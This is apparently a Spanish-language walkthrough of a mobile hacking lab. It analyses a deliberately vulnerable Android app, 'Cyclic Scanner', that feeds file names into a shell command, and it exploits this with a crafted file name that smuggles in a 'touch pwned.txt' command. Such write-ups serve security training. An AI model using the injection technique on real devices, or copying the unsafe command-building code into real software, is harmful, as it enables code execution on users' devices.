Cyclic Scanner
¡Bienvenido al desafío Cyclic Scanner! Este laboratorio está diseñado para imitar situaciones reales en las que las vulnerabilidades de los servicios de Android dan lugar a situaciones explotables. Los participantes tendrán la oportunidad de explotar estas vulnerabilidades para lograr la ejecución remota de código (RCE) en un dispositivo Android.
Information
Exploit a vulnerability inherent within an Android service to achieve remote code execution.
Application Analysis
| FILE INFORMATION | APP INFORMATION |
File Name: com.mobilehackinglab.cyclicscanner.apk | App Name: Cyclic Scanner |
Size: 11.33MB | Package Name: com.mobilehackinglab.cyclicscanner |
MD5 0e3232f37cb0f986014e4c767ea0d420 | Main Activity: com.mobilehackinglab.cyclicscanner.MainActivity |
SHA1: d9cd0a100731389b8bfbf9a019d70a65e8f6016c | Target SDK: 33 Min SDK: 30 |
SHA256: 2a01bfe39237c3cc0118bf845fb6c3da75f2ad0ace918d207977d6766adf3750 | Android Version Name: 1.0 Android Version Code: 1 |
Luego de installar y abrir la aplicacion, se puede apreciar una unica funcionalidad. Un swich en estado off, al cambiar su estado a on aparece un mensage Toast:
Scan service started, your device will be scanned regularly.
Parecería ser que se a iniciado un Service y que algunas acciones se estan ejecutando en segundo plano. Volver el swich a off no parece ser posible, indicando tambien por otro mensage Toast:
“Scan service cannot be stopped, this is for your own safety!”
En el análisis del archivo AndroidManifest.xml detecté varios puntos relevantes.
Está declarado el permiso MANAGE_EXTERNAL_STORAGE, que concede a la aplicación capacidad para leer y escribir en directorios compartidos del almacenamiento externo.
1
<uses-permission android:name="android.permission.MANAGE_EXTERNAL_STORAGE" />
También aparece android:debuggable="true". Esta configuración habilita la depuración de la aplicación. La cual facilita la ingeniería inversa y puede exponer información interna sensible si no se tomaron las precauciones adecuadas (CWE-489).
Al ejecutar la aplicacion en modo depuración, son visibles varias salidas de System.out, donde algunas comprobaciones de archivos parecen llevarse a cabo.
1
2
3
4
5
6
7
8
9
10
❯ adb logcat --pid=22141
02-18 02:50:21.465 22141 22205 I System.out: starting file scan...
02-18 02:50:21.482 22141 22205 I System.out: /storage/emulated/0/Music/.thumbnails/.database_uuid...SAFE
02-18 02:50:21.488 22141 22205 I System.out: /storage/emulated/0/Music/.thumbnails/.nomedia...SAFE
02-18 02:50:21.495 22141 22205 I System.out: /storage/emulated/0/Pictures/.thumbnails/.database_uuid...SAFE
02-18 02:50:21.502 22141 22205 I System.out: /storage/emulated/0/Pictures/.thumbnails/.nomedia...SAFE
02-18 02:50:21.509 22141 22205 I System.out: /storage/emulated/0/Movies/.thumbnails/.database_uuid...SAFE
02-18 02:50:21.517 22141 22205 I System.out: /storage/emulated/0/Movies/.thumbnails/.nomedia...SAFE
02-18 02:50:21.518 22141 22205 I System.out: finished file scan!
Al revisar MainActivity se confirma el comportamiento observado anteriormente.
El metodo setupSwitch$lambda$3 implementa la lógica asociada al switch.
Si el mismo es activado, su estado cambia a isChecked == true. Y proccede a mostrar el Toast indicando que el servicio fue iniciado. Luego, invoca startForegroundService() con un Intent dirigido a ScanService.
Cuando el usuario intenta desactivar el switch, la lógica no detiene el servicio. En cambio, fuerza el estado del switch a true mediante setChecked(true).
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
public static final void setupSwitch$lambda$3(MainActivity this$0, CompoundButton compoundButton, boolean isChecked) {
Intrinsics.checkNotNullParameter(this$0, "this$0");
if (isChecked) {
Toast.makeText(this$0, "Scan service started, your device will be scanned regularly.", 0).show();
this$0.startForegroundService(new Intent(this$0, (Class<?>) ScanService.class));
return;
}
Toast.makeText(this$0, "Scan service cannot be stopped, this is for your own safety!", 0).show();
ActivityMainBinding activityMainBinding = this$0.binding;
if (activityMainBinding == null) {
Intrinsics.throwUninitializedPropertyAccessException("binding");
activityMainBinding = null;
}
activityMainBinding.serviceSwitch.setChecked(true);
}
La clase ScanService implementa un Service el cual realiza un escaneo ficheros de forma periódica.
Mediante Environment.getExternalStorageDirectory() la aplicación accede al almacenamiento externo. A partir de un bucle, la clase ScanEngine realiza una serie de comprobaciones para verificar si los archivos son seguros.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
try {
System.out.println((Object) "starting file scan...");
File externalStorageDirectory = Environment.getExternalStorageDirectory();
Intrinsics.checkNotNullExpressionValue(externalStorageDirectory, "getExternalStorageDirectory(...)");
Sequence $this$forEach$iv = FilesKt.walk$default(externalStorageDirectory, null, 1, null);
for (Object element$iv : $this$forEach$iv) {
File file = (File) element$iv;
if (file.canRead() && file.isFile()) {
System.out.print((Object) (file.getAbsolutePath() + "..."));
boolean safe = ScanEngine.INSTANCE.scanFile(file);
System.out.println((Object) (safe ? "SAFE" : "INFECTED"));
}
}
System.out.println((Object) "finished file scan!");
}
La clase ScanEngine identifica malware comparando hashes hardcodeados. Para ello la aplicación recorre directorios compartidos y por cada fichero, construye y ejecuta un comando que obtiene el hash del fichero y lo valida contra la lista incorporada en el codigo.
El problema reside en cómo se construye la cadena que se envía directamente al intérprete de comandos. ScanService recorre /sdcard/ y pasa el nombre de cada fichero a ScanEngine, que lo concatena en a un commando de shell.
Si el nombre del fichero contiene caracteres especiales, el intérprete podra ejecutar comandos adicionales, lo que constituye una vulnerabilidad de tipo OS Command Injection (CWE-78).
1
2
String command = "toybox sha1sum " + file.getAbsolutePath();
Process process = new ProcessBuilder(new String[0]).command("sh", "-c", command).directory(Environment.getExternalStorageDirectory()).redirectErrorStream(true).start();
Execution
De tal forma, es posible desarrollar una aplicación cuya única función sea crear un archivo con un nombre especialmente construido, concatenando un comando adicional al nombre original.
1
String fileName = "example.txt;" + userCommand;
En el campo Input Command el usuario escribe el comando que desea ejecutar, por ejemplo touch pwned.txt.
El comando se incorpora con el nomabre del archivo example.txt.
1
2
❯ adb shell ls /sdcard/Download/
example.txt;touch pwned.txt
Y se guarda en un directorio donde la aplicacion vulnerable relize su escaneo.
1
2
3
4
5
6
7
8
9
10
11
12
❯ adb logcat --pid=22141
02-18 05:45:57.662 22141 22205 I System.out: starting file scan...
02-18 05:45:51.671 22141 22205 I System.out: /storage/emulated/0/Download/example.txt;touch pwned.txt...SAFE
02-18 05:45:51.679 22141 22205 I System.out: /storage/emulated/0/Music/.thumbnails/.database_uuid...SAFE
02-18 05:45:51.686 22141 22205 I System.out: /storage/emulated/0/Music/.thumbnails/.nomedia...SAFE
02-18 05:45:51.693 22141 22205 I System.out: /storage/emulated/0/Pictures/.thumbnails/.database_uuid...SAFE
02-18 05:45:51.701 22141 22205 I System.out: /storage/emulated/0/Pictures/.thumbnails/.nomedia...SAFE
02-18 05:45:51.708 22141 22205 I System.out: /storage/emulated/0/Movies/.thumbnails/.database_uuid...SAFE
02-18 05:45:51.715 22141 22205 I System.out: /storage/emulated/0/Movies/.thumbnails/.nomedia...SAFE
02-18 05:45:51.722 22141 22205 I System.out: /storage/emulated/0/pwned.txt...SAFE
02-18 05:45:51.722 22141 22205 I System.out: finished file scan!
El interprete encontrara el ; y ejecutara el comando touch de manera exitosa. Confirmando que la aplicacion Cyclic Scanner es vulnerble a Remote Code Execution.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
❯ adb shell ls /sdcard/
Alarms
Android
Audiobooks
DCIM
Documents
Download
Movies
Music
Notifications
Pictures
Podcasts
Recordings
Ringtones
pwned.txt
Common Weakness
| CWE ID | Name | Description |
|---|---|---|
| CWE-489 | Active Debug Code | The product is released with debugging code still enabled or active. |
| CWE-78 | OS Command Injection | The product constructs all or part of an OS command using externally-influenced input from an upstream component. |
MITRE ATT&CK Matrix
| Tactics | Techniques | Sub-Techniques | ID |
|---|---|---|---|
Execution | TA0041 | ||
| Command and Scripting Interpreter | T1623 | ||
| Unix Shell | T1623.001 |






